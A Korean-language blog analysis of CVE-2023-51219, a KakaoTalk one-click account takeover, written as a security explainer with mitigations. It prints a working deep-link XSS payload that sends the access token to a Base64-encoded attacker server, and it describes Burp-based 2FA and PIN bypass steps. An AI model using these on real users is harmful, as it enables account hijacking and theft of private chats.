[Review] KakaoTalk 1-Click Account Hijacking 분석 (CVE-2023-51219)

목차


들어가며

우리는 일상적으로 카카오톡을 통해 메시지를 주고받으며 다양한 서비스를 이용한다.
구글 플레이스토어 기준 1억 건 이상의 다운로드를 기록한 한국 최대의 모바일 메신저 앱이지만, 카카오톡의 일반 채팅방은 서버에서 메시지에 접근할 수 있는 형태이며 엔드투엔드 암호화(E2EE)가 기본으로 적용되어 있지는 않다.
이는 사용자의 계정에 임의의 기기가 성공적으로 등록되기만 하면 타인의 메시지를 평문으로 읽어낼 수 있음을 의미한다.

이번 글에서는 이러한 환경에서 모바일 앱과 웹 기반 서비스가 연동될 때, 개발자의 설정 실수와 사소해 보이는 취약점들이 어떻게 연쇄적으로 결합하여 치명적인 결과로 이어지는지 분석한다.

본 취약점(CVE-2023-51219)의 핵심은 단순히 악성 스크립트가 실행되는 것에 그치지 않는다.
단 한 번의 잘못된 링크 클릭(1-Click)으로 사용자의 인증 토큰이 유출되고, 이를 통해 피해자의 카카오 메일 계정이 완전히 장악되며, 최종적으로 공격자의 PC 기기가 피해자의 계정에 등록되어 과거와 실시간의 모든 평문 채팅 메시지가 탈취되는 구체적인 파이프라인을 보여준다.
특히, 복잡한 OS 레벨의 0-Day 취약점이 아닌, 기본적인 안드로이드 컴포넌트 권한 설정과 웹 프로토콜의 검증 누락이 어떻게 하나의 거대한 ‘익스플로잇 체인(Exploit Chain)‘을 형성하는지 중점적으로 다룰 것이다.

본격적인 PoC 분석에 앞서, 모바일 보안이나 안드로이드 구조에 익숙하지 않은 독자라도 공격의 전체 흐름을 명확히 이해할 수 있도록 필수 배경지식인 안드로이드 앱 보안과 웹 네트워크의 핵심 개념을 먼저 살펴본다.


취약점 분석을 위한 사전 개념

본 취약점은 앱, 웹, 그리고 네트워크 통신이라는 세 가지 영역의 경계가 허물어지면서 발생한다. 각 영역에서 공격의 발판이 된 주요 기술적 원리는 다음과 같다.

Deep Link와 Exported Activity

안드로이드 앱은 여러 개의 Activity라는 화면 조각들로 구성된다.
개발자는 특정 화면을 외부 앱이나 웹브라우저에서 직접 열 수 있도록 Exported 속성을 부여하여 외부에 노출시킬 수 있다.
(exported속성에 대한 자세한 개념이 궁금하다면 Android Developers - android:exported 문서를 참고하면 된다.)

이때 사용되는 개념이 딥링크(Deep Link)이다.
Deep Link(딥링크)란 특정 웹 페이지로 연결되는 URL처럼, 모바일 앱 내의 특정 콘텐츠나 페이지로 사용자를 직접 이동시키는 기술을 의미한다.
앞서 설명한 exported 속성이 true라면, Deeplink를 통해 안드로이드 앱의 특정 화면(Activity)에 바로 접근이 가능한 것이다.
예를 들어 스마트폰에서 kakaotalk://buy라는 링크를 클릭하면, 카카오톡 앱이 켜지면서 쇼핑과 관련된 특정 화면(CommerceBuyActivity)이 곧바로 실행된다.

공격자는 이러한 딥링크를 악용하여 피해자의 폰에서 특정 앱의 화면을 강제로 띄우는 진입점으로 활용할 수 있다.

Tosspayments - DeepLink 글을 참고하면 Deeplink의 Schema 구조에 대해서도 상세히 알 수 있다.

WebView와 Intent Schema

앱 내에서 자체적으로 웹사이트를 띄워주는 미니 브라우저를 WebView라고 한다.
따로 브라우저를 열지 않아도 카카오톡, 배달의민족 배너 등 Web 콘텐츠를 볼 수 있는 것이 Webview라는 기술 덕분이다.

Webview는 기본적으로 단순한 웹페이지를 보여주지만 자바스크립트 실행을 허용한다면 동적인 스크립트가 앱의 권한으로 동작하게 된다.
더욱 위험한 것은 웹뷰가 처리하는 intent:// 스킴이다.

앞서 설명한 Deeplink엔 Intent Schema가 존재하는데, 이는 웹페이지에서 자바스크립트를 통해 기기 내의 다른 앱이나 내부 컴포넌트를 실행할 수 있게 해주는 기능이다.
만약 개발자가 이 스킴을 통해 들어오는 값을 제대로 검증하여 처리하지 않는다면, 공격자는 앞서 설명한 Exported 되지 않은(즉, 외부 접근이 차단된) 내부의 비밀스러운 컴포넌트까지 웹뷰를 통해 강제로 접근할 수 있게 된다.


PoC.1 Entry Point 노출 및 DOM XSS 연계

앞서 살펴본 배경지식들이 실제 카카오톡 서비스에서 어떻게 취약점으로 발현되었는지, 첫 번째 공격 파이프라인을 단계별로 분석해 본다.
해당 공격의 최종 목표는 피해자의 Access Token을 탈취하는 것이다.

CommeceBuyActivity

공격의 첫 Entry Point가 된 곳은 카카오톡 앱 내 쇼핑 기능과 관련된 CommerceBuyActivity 웹뷰이다.
이 Activity는 외부에서 접근 가능하도록 Exported 처리되어 있었기 때문에, adb shell am start kakaotalk://buy와 같은 딥링크 명령어나 사용자의 링크 클릭만으로 손쉽게 실행할 수 있다.
이 때 보안 관점에서 해당 웹 뷰는 3가지 Misconfiguration을 가지고 있었다.

먼저 setJavaScriptEnabled 옵션이 true로 설정되어 있어 Webview 내에서의 자바스크립트 실행 허용되어 있었다.

또한 웹뷰가 intent:// URI를 처리할 때 입력값에 대한 적절한 검증을 수행하지 않았다.
이는 공격자가 삽입한 임의의 JavaScript가 실행될 경우, exportedfalse로 설정한 다른 앱 내부 컴포넌트까지 공격자가 강제로 실행할 수 있음을 의미한다.

마지막으로 해당 웹뷰가 서버와 통신할 때 HTTP Authorization 헤더에 사용자의 Access Token을 포함하여 전송하는 동작 방식이 확인되었다.

위 3가지 Miscinfiguration을 조합하면 공격자는 이 웹뷰에서 임의의 자바스크립트를 실행할 수만 있다면 피해자의 토큰을 훔칠 수 있다는 결론에 도달한다.
실제 KakaoTalk의 Deeplink 처리 코드를 보면 다음과 같다.

public final String m17260P5(Uri uri) {
    // This string is "https://buy.kakao.com"
    String m36725d = C24983v.m36725d();

    if (uri != null) {
        if (!C46907a.m54284B(uri.toString(), new ArrayList(Arrays.asList(C47684e.f174778c0, "buy")))) {
            return null;
        }

        if (C43097e.m51424i(uri.getQueryParameter("refresh"), RTCStatsParser.Key.TRUE)) {
            this.f33349x = true;
        }

        if (("kakaotalk".equals(uri.getScheme()) || "alphatalk".equals(uri.getScheme())) && "buy".equals(uri.getHost())) {
            // URL path can be controlled by an attacker
            if (!TextUtils.isEmpty(uri.getPath())) {
                m36725d = String.format("%s%s", m36725d, uri.getPath());
            }

            // URL query parameters can be controlled by an attacker
            if (!TextUtils.isEmpty(uri.getQuery())) {
                m36725d = String.format("%s?%s", m36725d, uri.getQuery());
            }

            // URL fragment can be controlled by an attacker
            if (!TextUtils.isEmpty(uri.getFragment())) {
                return String.format("%s#%s", m36725d, uri.getFragment());
            }

            return m36725d;
        } else if (C14325o2.f55096k.matcher(uri.toString()).matches()) {
            String uri2 = uri.toString();

            if (uri2.startsWith("http://")) {
                return uri2.replace("http://", "https://");
            }

            return uri2;
        }
    }
    return m36725d;제

먼저 String m36725d = C24983v.m36725d(); 에서 m36725d 변수에 https://buy.kakao.com 문자열을 할당한다.

이후 입력받은 URI가 null 이 아니라면 화이트리스트 검사를 진행하여 유효한 키워드(buy)가 포함되어 있는지 검사한다.
URI의 스킴이 kakaotalk:// 와 같은 커스텀 스킴이라면 URL 구성 작업을 수행한다.
URL 구성은 입력받은 Pathm36725d(https://buy.kakao.com) 뒤에 바로 붙이고, 입력받은 Query와 Fragment를 추가한다.

결론적으로 카카오톡은 딥링크를 통해 URL을 전달할 때 공격자가 전달한 임의의 URL을 그대로 로드하는것을 막기 위해 https://buy.kakao.com 라는 Prefix가 항상 붙도록 강제하고 있으며, 공격자가 악성 URL을 바로 삽입하는 것은 불가능했다.

XSS 탐색

공격자는 buy.kakao.com 도메인만 로드할 수 있다는 제약을 우회하기 위해, OpenRedirect 취약점을 탐색해보았다.
그 결과 /auth/0/cleanFrontRedirect?returnUrl= 라는 엔드포인트가 URL 파라미터를 제대로 검증하지 않아 kakao.com의 임의의 하위 도메인으로 사용자를 우회시킬 수 있음을 발견한다.

이제 공격자는 자바스크립트를 실행할 수 있는 하위 도메인을 찾기 위해 구글 검색(site:*.kakao.com inurl:search)을 통해 https://m.shoppinghow.kakao.com/m/search/q/yyqw6t29 라는 URL을 발견했으며, 이 때 yyqw6t29 문자열이 PortSwigger의 DOM Invader Canary처럼 보여 추가 조사를 해보니 https://m.shoppinghow.kakao.com/m/search/q/alert(1) 라는 Stored XSS 가 발생하는 URL을 찾을 수 있었다.

또한 추가적으로 해당 사이트의 DOM을 분석하는 과정에서 "><img src=x onerror=alert(1);> 라는 페이로드로 단순한 형태의 XSS 주입이 가능함을 확인했다.

이제 공격자는 발견한 취약점들을 하나의 익스플로잇 체인으로 엮어 완성된 악성 딥링크를 제작한다.
목표는 피해자가 링크에 접근했을 때, 앱 내부의 Webview가 열리며 XSS가 실행되고, 해당 Script가 Authorization 헤더의 Access Token을 탈취하는 것이다.

최종적으로 완성된 페이로드는 다음과 같다.

kakaotalk://buy/auth/0/cleanFrontRedirect?returnUrl=https://m.shoppinghow.kakao.com/m/product/Q24620753380/q:"><img src=x onerror="document.location=atob('aHR0cDovLzE5Mi4xNjguMTc4LjIwOjU1NTUv');">
  1. kakaotalk://buy: 피해자가 링크를 클릭하면 카카오톡 앱의 CommerceBuyActivity 웹뷰가 강제로 실행한다.
  2. /auth/0/cleanFrontRedirect?returnUrl=: 웹뷰는 기본 접두사인 https://buy.kakao.com을 붙여 요청을 보내지만, 이 오픈 리다이렉트 엔드포인트를 만나 뒤이어 오는 URL로 우회된다.
  3. https://m.shoppinghow.../q:: 우회된 도착지인 쇼핑하우 도메인에서 DOM XSS 취약점이 트리거된다.
  4. "><img src=x onerror=...: 주입된 악성 자바스크립트가 웹뷰의 권한으로 실행된다. 이때 일부 필터를 우회하기 위해 공격자의 서버 주소를 Base64로 인코딩하여 삽입한다.

피해자가 이 링크를 클릭하는 순간, 웹뷰는 공격자의 서버로 이동하게 되며 동시에 HTTP Authorization 헤더의 Access Token이 공격자의 서버로 전달된다.


PoC.2 2단계 인증(2FA) 우회 및 기기 등록

앞선 취약점을 통해 피해자의 Access Token을 획득했다.
하지만 카카오톡의 E2EE가 적용되지 않은 일반 채팅 메시지를 평문으로 읽어내기 위해서는, 최종적으로 공격자의 기기를 피해자의 계정에 검증된 기기로 등록해야한다.

이 과정에서 공격자는 탈취한 토큰을 이용해 피해자의 비밀번호를 재설정하고 기기를 등록한다.

파라미터 변조

우선 훔친 Access Token을 이용해 피해자의 카카오 메일에 접근한다.

만약 피해자가 카카오 메일을 사용하지 않는다면, 어떠한 추가 검증도 없이 피해자의 명의로 새로운 카카오 메일 계정을 생성하여 기존의 이메일 주소를 덮어씌울 수 있다.
Access Token을 통해 이메일 주소에 접근하는 자세한 방법과 KakaoTalk의 파이프라인은 원문 블로그 글을 참고하면 상세히 설명되어있다.

이제 공격자는 비밀번호 재설정을 시도하며 Burp Suite의 인터셉트 기능을 켠다. 서버가 /kakao_accounts/check_verify_type_for_find_password.json 엔드포인트로 보내는 HTTP 응답을 가로채어, verify_types 파라미터 값을 0으로 변조한다.
verify_types 값이 0이 되면, 인증 번호를 SMS가 아닌 Email로 전송하게 되어 앞서 탈취한 카카오 메일로 인증번호를 획득할 수 있다.
인증번호 입력 이후 추가 신원 확인 절차에서도 취약점이 발생한다. /kakao_accounts/check_phone_number.json 엔드포인트로 전송되는 HTTP POST 요청을 가로채어 바디(Body)에 포함된 iso_codephone_number 파라미터 값을 임의로 조작하여 전송함으로써 검증 로직을 완전히 무력화할 수 있다.

PIN Rate Limit 우회

이제 공격자는 카카오 메일, 카카오 계정까지 완벽하게 탈취했다.
하지만 카카오톡에 로그인 하여 모든 기능에 접근하기 위해서는 PIN 번호가 필요하며, 해당 PIN 번호 입력에는 Rate Limiting이 걸려있어 Brute-Force 공격이 불가능하다.

그러나 공격자는 피해자의 AccessToken을 알고있기에 https://talk-pilsner.kakao.com/talk-public/account/passcodeLogin/authorize 엔드포인트에 Access Token을 전달하야 PIN 번호를 얻을 수 있다.
이로써 공격자의 기기가 피해자의 계정에 성공적으로 등록되었으며, 공격자는 피해자의 카카오 계정으로 모든 과거 및 실시간 채팅 메시지 조회 등의 기능에 접근할 수 있게 되었다.


대응 방안

지금까지 살펴본 복합적인 익스플로잇 체인(CVE-2023-51219)은 안드로이드 OS의 제로데이나 고도화된 공격이 아닌, 애플리케이션 개발 단계에서의 검증 누락에서 기인했다.
카카오 측은 리포트를 받은 후 즉각적으로 취약한 도메인을 내리고 액티비티를 삭제하는 조치를 취했으나, 근본적인 방어를 위해서는 다음과 같은 아키텍처 관점의 보안이 요구된다.

Intent Schema 검증

앱 내장 브라우저(WebView)에서 자바스크립트를 허용해야만 한다면, 외부 입력값에 대한 철저한 검증이 수반되어야 한다.
특히 intent:// 스킴을 처리할 때는 외부에서 임의의 ComponentSelector를 지정하지 못하도록 철저히 검증해야 하며, 의도치 않은 하위 도메인으로 리다이렉트되는 Open Redirect 취약점을 원천 차단하기 위해 화이트리스트 기반의 검증 로직을 구현해야 한다.

서버 파라미터 검증

클라이언트(브라우저나 앱)가 전달하는 데이터는 언제든 프록시 도구에 의해 조작될 수 있다는 ‘Zero Trust’ 관점을 가져야 한다.
비밀번호 재설정 시 인증 수단을 결정하는 verify_types와 같은 중요 파라미터는 클라이언트의 응답 값에 의존해서는 안 되며, 오직 백엔드 서버의 안전한 세션 스토리지 내에서 관리되고 강제되어야 한다.
인증 수단이 우회되는 순간 아무리 복잡한 2단계 인증 구조를 가지더라도 무용지물이 된다.


마치며

본 글에서 분석한 취약점들은 안드로이드의 강력한 샌드박스 보안 모델이나 훌륭한 시스템 아키텍처가 적용되어 있더라도, 개발자의 사소한 실수 몇 가지가 전체 시스템의 붕괴로 이어질 수 있음을 여실히 보여준다.
특히 카카오톡은 한국 국민이 전부 사용한다고 있을 정도의 규모임에도 이같은 취약점이 발생한 것에 대해 아직 수많은 서비스에서 비슷한 취약점이 발생할 수 있음을 추측할 수 있다.

해당 취약점과 대응 방안을 종합해보면 결국 안전한 모바일 서비스를 구축한다는 것은, 클라이언트 영역(App/Web)의 권한을 최소화하는 동시에 클라이언트가 서버로 보낸 이 파라미터 값들이 정말로 인가된 정상 로직을 거친 것인지를 백엔드에서 끊임없이 의심하고 검증하는 과정일 것이다.

이 글이 모바일 앱과 웹이 결합된 하이브리드 환경을 개발하는 엔지니어들과, 보이지 않는 공격 벡터를 연결해 내는 보안 연구자들에게 직관적인 인사이트를 제공하는 단서가 되기를 바란다.


참고자료
https://stulle123.github.io/posts/kakaotalk-account-takeover/
https://docs.tosspayments.com/resources/glossary/deep-link
https://developer.android.com/privacy-and-security/risks/android-exported?hl=ko
https://portswigger.net/burp/documentation/desktop/tools/dom-invader/settings/canary